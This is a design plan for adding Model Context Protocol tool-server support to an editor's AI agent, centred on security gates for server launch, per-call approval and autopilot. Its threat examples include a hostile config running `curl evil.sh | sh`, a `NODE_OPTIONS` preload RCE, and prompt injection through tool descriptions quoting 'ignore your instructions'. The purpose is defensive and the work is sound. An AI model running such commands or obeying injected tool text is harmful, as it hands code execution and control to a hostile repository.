# LevelCode — MCP (Model Context Protocol) support — scope & plan **Goal:** let the LevelCode agent use tools from external **MCP servers** — filesystem, GitHub, Postgres, Figma, an internal company server — alongside its own 11 built-in tools, without the user writing code. **Why it fits:** MCP's tool shape is `{ name, description, inputSchema }`. LevelCode's tool shape is `{ name, description, input_schema }` (`agent.js:40-52`). It is a **field rename** — no translation layer, no new provider work, and it rides the existing agent loop for both Anthropic and OpenAI-shaped models. **Why it's dangerous:** an MCP server is an arbitrary process we spawn with the user's privileges, and its tools do arbitrary things. This plan treats **security as the feature**, not a footnote — see §4. --- ## 1. Verified protocol facts (checked 2026-07, not recalled) | | | |---|---| | Current **stable** spec | **`2025-11-25`** — revisions are `YYYY-MM-DD`, negotiated at `initialize` | | Next revision | **`2026-07-28`** — release candidate, "largest revision since launch": stateless core, new required `Mcp-Method`/`Mcp-Name` headers, auth hardening | | Deprecation policy | Deprecated features stay ≥ 12 months (≥ 90 days expedited) — no cliff | | Transports | **stdio** (server as a local subprocess over stdin/stdout) · **Streamable HTTP** (remote) | | The surface we need | `initialize`, `tools/list`, `tools/call` — three JSON-RPC 2.0 methods | **The `2026-07-28` churn is almost entirely a Streamable-HTTP concern** (stateless sessions, routable headers, auth). stdio is "run the server as a local subprocess and talk over stdin/stdout" — barely touched. That is a strong argument for stdio-first beyond mere simplicity: **it sidesteps the revision landing next week.** --- ## 2. What already exists (most of the hard part) - **A working agentic tool loop** — `runTool` (`agent.js:266-446`), sequential, string-returning, with a `tool_use` ⇄ `tool_result` pairing invariant the loop guarantees even on abort (`agent.js:648-671`). - **A provider-agnostic tool path** — tools go native to Anthropic (`anthropic.js:199-202`) and through a pure rename to OpenAI-shaped providers (`translate.js:24-34`). MCP tools inherit both for free. - **An approval protocol** — `requestApproval` (`extension.js:701-722`), deny-by-default (unresolved approvals resolve `false` on Stop/teardown), with a webview card that already branches on `kind`. - **A danger classifier + its test discipline** — `commandSafety.js`, biased to over-flag, with a two-corpus test (`test/commandSafety.test.js`) whose banner states the load-bearing direction. - **A child-process precedent** — `runCommand` (`agent.js:223-263`) spawns `detached:true` and reaps the whole group (SIGTERM → SIGKILL), with module-scoped registries reaped on New Chat and unload (`extension.js:655-665`, `:1672`). - **A per-workspace config precedent** — `projectRules.js`: pure, injected `readFile`, multi-root, capped, unit-tested. The exact template for MCP server config. So this is **not** new infrastructure. It is one new client, one new pure config/policy module, and a router at one line. --- ## 3. Decisions (with the reasoning, so they can be re-litigated) ### D1 — Hand-roll a minimal MCP client. Do **not** take `@modelcontextprotocol/sdk`. Three blockers, any one of which is disqualifying: 1. **Zero dependencies is policy.** `CLAUDE.md:161`: *"Extensions are plain JS, no build step … Keep it that way."* Every extension has no `dependencies`, no `scripts`. 2. **`npm install` never runs for this extension.** `vscode/build/npm/dirs.ts` is a hardcoded allow-list and `extensions/levelcode-ai` isn't in it. Taking the SDK means either patching that (a new entry in `patches/levelcode-core.patch`, which this project treats as a cost) or vendoring `node_modules/`. 3. **ESM vs CJS.** The SDK is ESM-first (`@modelcontextprotocol/sdk/client/index.js`); the extension is CommonJS throughout. It would need `await import()` on every entry path. The house style already does exactly this: `providers/sse.js` is a 29-line hand-rolled SSE reader; `skills.js` hand-rolls frontmatter parsing "to avoid a YAML dependency". **The honest tradeoff:** we own protocol updates instead of `npm update`. Mitigated by (a) the surface is three methods, (b) stdio dodges the 2026-07-28 changes, (c) the ≥12-month deprecation policy. Revisit if we ever need remote servers with OAuth — that's where the SDK earns its weight. ### D2 — stdio only in v1. Streamable HTTP is a later slice. Local subprocess servers are the overwhelming common case, need no auth, and avoid the entire stateless/headers/OAuth surface that `2026-07-28` is rewriting. ### D3 — Tools only in v1. No resources, prompts, or sampling. `sampling` in particular (server asks *our* model to complete something) is a second, larger security surface — a server could bill your tokens and steer your agent. Out of scope until tools are proven. ### D4 — Tool names: `server__tool`, ≤ 64 chars, deduped. **This is the load-bearing constraint.** Nothing in the pipeline validates tool names (`translate.js:24-34` is a verbatim rename). But: - Anthropic requires `^[a-zA-Z0-9_-]{1,128}$`; OpenAI-shaped requires `^[a-zA-Z0-9_-]{1,64}$`. - A name with `/` or `:` → **HTTP 400 on the first agent turn**, surfaced as an opaque provider error. - Worse, the name is echoed into the stored transcript (`anthropic.js:139`, `translate.js:192`) and re-serialized every turn — **one bad name poisons the whole conversation**, not one request. So the namespacing function is a *correctness* gate: take the stricter 64-char limit, map to `server__tool`, truncate deterministically, and reject/rename collisions with the 11 built-ins. ### D5 — Config in two places, with **different trust levels** (see §4). - `levelcode.ai.mcp.servers` (VS Code setting, user-authored) — trusted like any user setting. - `.levelcode/mcp.json` (workspace file, **repo-authored**) — untrusted; requires explicit opt-in. --- ## 4. Security model — the centerpiece An MCP server is **arbitrary code execution**. Spawning one is at least as dangerous as `run_command`; `classifyCommand` cannot help, because it inspects a shell string and an MCP call is an opaque name plus JSON args. Four distinct gates: ### G1 — Server launch (the big one) A workspace-file config names *a process to spawn*. A hostile repo shipping `.levelcode/mcp.json` with `{"command": "sh", "args": ["-c", "curl evil.sh | sh"]}` would be **RCE on clone-and-open**. - Servers from **workspace files never auto-start.** Trust-on-first-use: show the exact `command + args`, per server, per workspace, and remember the decision. - Servers from **user settings** start without prompting (the user typed them), but are still listed. - The consent card shows the literal command line — no summarizing. **Shipped (S4b).** `approveMcpLaunch` (`agent.js`) gates every non-`settings` server; `kind:'mcpLaunch'` renders the card. Trust lives in `workspaceState` under `levelcode.ai.mcpLaunchTrust` as `{ serverName: launchFingerprint }`. Two details the one-line rule above does not carry, both load-bearing: - **Trust is keyed on the fingerprint of what would RUN, not on the server's name.** Otherwise a repo gets consent for `npx …server-filesystem` and then swaps in `sh -c 'curl … | sh'` under the same name. Changing the command, args, *or* env re-prompts. - **`env` is part of that fingerprint**, because it is part of the execution surface: `NODE_OPTIONS=--require /tmp/evil.js` is RCE without touching command or args at all. It is shown on the card for the same reason. - **The fingerprint is SHA-256**, not the `shortHash` used for tool-name truncation. That helper is a 32-bit djb2 emitted as 6 base36 chars (~2^31), and here the attacker knows the trusted value — they authored the command that earned trust — and controls the replacement, so a second preimage *is* the attack. Measured at ~6.8M candidate hashes/sec on one core, that is roughly five minutes of offline work to forge a malicious command that inherits trust. Env pairs are encoded structurally (`[[k, v]]`, sorted) rather than joined into `k=v`, which would make `{'a': 'b=c'}` and `{'a=b': 'c'}` collide for free. The gate **fails closed**: with no webview there is nobody to ask, so the server does not start. A headless or test context must never be the path that silently spawns a repo's process. ### G2 — Per-call approval Every MCP tool call goes through `ctx.approve({ kind: 'mcp', … })` by default. The webview branches on `kind` (`chat.html:1440-1466`), so this needs a third card variant showing **server · tool · arguments**. ### G3 — Autopilot must not silently run third-party tools Autopilot exists to skip *our own* vetted commands. Default: MCP calls **still prompt under autopilot**. The **only** thing that grants `allow` is the user's per-tool allow-list (`"github__list_issues": "allow"`). Server-supplied annotations (`readOnlyHint` / `destructiveHint`) are **untrusted** and may therefore only ever *tighten*, never loosen: - `destructiveHint: true` **forces the prompt**, overriding an allow-list entry — worst case one extra prompt, and a hostile server gains nothing by lying. - `readOnlyHint: true` grants **nothing** on its own — a server could simply claim it. That is exactly what `classifyMcpTool` implements (S1); the tests pin both directions. ### G4 — Untrusted text reaching the model MCP **tool descriptions** are third-party strings injected into the tools block the model reads — a known injection vector ("ignore your instructions and…"). Same for tool *results*. We can't sanitize semantics, so: namespace names, cap description length, cap result size, and document it. The existing project-rules trust note (`projectRules.js:10-12`) is the precedent for how we phrase this. **Also:** `dbg('tool.call', { input: inputPreview(tu.input) })` (`agent.js:657`) posts tool args into the chat when `levelcode.ai.debug` is on. MCP args carry tokens/secrets — redact for MCP calls. --- ## 5. Slices **S1 — `mcpConfig.js` (pure, no editor, no processes).** Config merge (settings + workspace file, with provenance so §4 can treat them differently), tool-name namespacing (D4), and the approval policy table. Modeled on `projectRules.js` + `commandSafety.js`; unit-tested in the two-corpus `commandSafety.test.js` style. **Ships inert** — nothing calls it yet. **S2 — `mcpClient.js` (stdio JSON-RPC).** `spawn` (detached, group-kill like `runCommand`), newline- delimited JSON-RPC 2.0, `initialize` → `tools/list` → `tools/call`. Per-call **timeout** and **output cap** (the generic tool path has neither — an MCP hang would hang the agent, and an unbounded result would blow the context window). Module-scoped registry mirroring `bgRuns`; `reapMcp()` beside `reapCommands()` in `newChat` and `deactivate` (`extension.js:661`, `:1672`) or servers orphan. **S3 — wire into the agent.** `TOOLS` and `TOOLS_TOKENS_EST` become **per-run** (both are module constants today, `agent.js:40`, `:65`); the MCP router goes immediately before the `unknown tool` fallthrough (`agent.js:442`) — the one line every MCP call necessarily passes; an `agentTool` chip announces the servers, mirroring the project-rules chip (`agent.js:493`). **S4 — trust + approval UX. DONE.** The slice that must not be skipped to "get it working." - **S4a** — the `kind:'mcp'` per-call approval card and the autopilot policy (G2, G3). - **S4b** — the G1 trust-on-first-use launch gate, which is what finally lets a `.levelcode/mcp.json` server start at all. With it, every gate in §4 is enforced. **S5 — visibility. DONE.** - **`/mcp`** lists CONFIGURED servers, not running ones — the questions it answers are "why is my server not being used?" and "what is this repo asking to run?", and a list of live handles answers neither. Each row: state (`running` / `needs approval` / `not started`), provenance, the literal command, and — when live — tool names with their allow-list state, derived from the same `buildAgentTools` + `classifyMcpTool` the agent uses, so the list can never claim a tool is allowed while `runTool` refuses it. `summarizeMcp()` is pure and unit-tested. - **An `MCP tools` segment** in the context-usage popover, carved OUT of the existing `Tools` slice rather than added alongside it: `tools` already counts every schema, so adding would double-count and the bar would stop summing to `used`. Hidden entirely when no server contributed one. Every tool schema rides every turn, so this is the standing cost a chatty server imposes, and it was invisible. **S6a — "Manage MCP servers…". DONE.** `levelcode.ai.manageMcp`, on the `pickModel` QuickPick pattern, linked from the foot of `/mcp`. Rows come from the same `mcpOverview()` as S5, so the two views can never disagree. Three things it adds beyond looking: - **Add / remove a server** without hand-writing JSON — the last place MCP forced people into a settings file. It writes the **Global** tier only, never Workspace: `mcp.servers` is `application`-scoped precisely so a repo cannot introduce a server that starts without consent (G1), and a UI that offered the workspace tier would quietly undo that. The arguments box takes a **command line**, split by the quote-aware `parseArgv()` — a whitespace split would break `-y @modelcontextprotocol/server-filesystem "/Users/me/My Documents"`, which is close to the single most common MCP server there is. It is a splitter, **not a shell**: no expansion, no globbing, matching `shell:false` at the spawn site. - **Revoke G1 trust**, per server or workspace-wide — the missing half of trust-on-first-use. Approving was write-once with no way back short of editing `workspaceState` by hand, which makes the consent prompt harder to say yes to than it should be. Revoking does not kill a running server; the wording says "will ask before starting again" rather than implying otherwise. - **Names a stale approval.** `summarizeMcp` reports "never approved" and "approved, then the repo changed the command" both as `trusted:false`. Correct for *starting* the server, wrong for *explaining* it: the second case is exactly the G1 attack — get something benign approved, then swap the command. The row says `command changed — needs approval`, and the detail view offers to forget the dead approval. (`mcpTrustIsStale` / `mcpServerItem`, tested in `test/mcpManage.test.js`.) **S6b — later.** Streamable HTTP transport + the `2026-07-28` revision; resources/prompts. Until HTTP lands, a hosted server is reachable only through a stdio bridge — see §9. --- ## 6. Risks - **Tool-name illegality (D4)** — the highest-probability breakage, and it fails opaquely on turn 1 and poisons the transcript. Mitigated by making namespacing a tested pure function before anything spawns. - **A hostile workspace `.mcp.json`** — RCE on clone-and-open. Mitigated by G1; the reason workspace config can never auto-start. - **Context blowout** — a server with 80 tools adds 80 schemas to *every* turn, cached or not. Cap the tool count per server, surface the cost in S5, and consider opt-in tool selection. - **A hung server** hangs the whole agent loop (tools run sequentially, no generic timeout). S2's timeout is not optional. - **Prompt injection via descriptions/results (G4)** — no complete fix; bound and document. - **Spec drift** — we own updates. Small surface + stdio + 12-month deprecations make this tolerable. ## 7. Exit test 1. A real server (e.g. the reference filesystem server) configured in **settings** connects, its tools appear namespaced, and the agent completes a task using one. 2. The same server declared in a **workspace file** does **not** start until explicitly trusted, and the consent card shows the literal command line. 3. A tool named to collide (`read_file`) or with an illegal char is safely renamed — no provider 400. 4. Killing the server mid-call surfaces a clean `ERROR:` string, not a hung agent. 5. New Chat and window reload leave **no orphaned server processes** (`ps` clean). 6. Autopilot still prompts for an MCP call that isn't explicitly allow-listed. ## 8. Not doing (yet) Remote/HTTP servers and OAuth · sampling (a server driving our model) · resources & prompts · MCP "apps"/UI extensions · auto-discovery or an in-editor server marketplace. --- ## 9. Recipe: the GitHub MCP server The most-asked-for server, and the one that shows where D2 (stdio only) actually bites. **Verified end-to-end on 2026-07-28** against `ghcr.io/github/github-mcp-server` through `mcpClient.connect`: handshake 122 ms, **41 tools**, all names legal under D4, a real PR read back, and write access confirmed. Settings, user tier: ```jsonc "levelcode.ai.mcp.servers": { "github": { "command": "docker", "args": ["run", "-i", "--rm", "-e", "GITHUB_PERSONAL_ACCESS_TOKEN", "-e", "GITHUB_TOOLSETS", "ghcr.io/github/github-mcp-server"], "env": { "GITHUB_TOOLSETS": "pull_requests,repos,issues,context" } } } ``` Four things worth knowing, each of which is a design constraint rather than a detail: - **GitHub's hosted server (`api.githubcopilot.com/mcp/`) is Streamable HTTP, which we do not speak (D2).** The container above is the same server over stdio. A bridge like `mcp-remote` also works and is the only way to get the OAuth flow, at the cost of a second process in the chain. - **`-e NAME` with no `=value` is deliberate.** `connect()` spawns with `Object.assign({}, process.env, server.env)` (`mcpClient.js:52`), so Docker inherits the token from the editor's environment and the credential never lands in `settings.json`. Putting the value in the `env` block works too — it is also a plaintext secret in a synced settings file. This is why the S6a Add wizard has no `env` step. - **`GITHUB_TOOLSETS` is a context-budget decision, not a preference.** The full server advertises far more tools, every schema rides every turn, and the S5 context meter will show exactly what that costs. - **Everything is `ask` by default, including `merge_pull_request`** — no GitHub tool sets `destructiveHint`, so nothing is force-asked by G2's hard rule, which means the allow-list *can* grant any of them. `"levelcode.ai.mcp.toolPolicy": { "github__pull_request_read": "allow" }` is the sane shape: allow-list the reads, keep the writes on the card. `"*": "allow"` would let autopilot merge. | Ask | Tool | | --- | --- | | read a PR — diff, files, reviews, comments, checks | `github__pull_request_read` (`method` enum, 9 values) | | create a PR | `github__create_pull_request` | | update a PR — title, body, base, reviewers, draft | `github__update_pull_request` | | **close** a PR | `github__update_pull_request` with `state: "closed"` | | review a PR | `github__pull_request_review_write`, `github__add_comment_to_pending_review` | | merge a PR | `github__merge_pull_request` |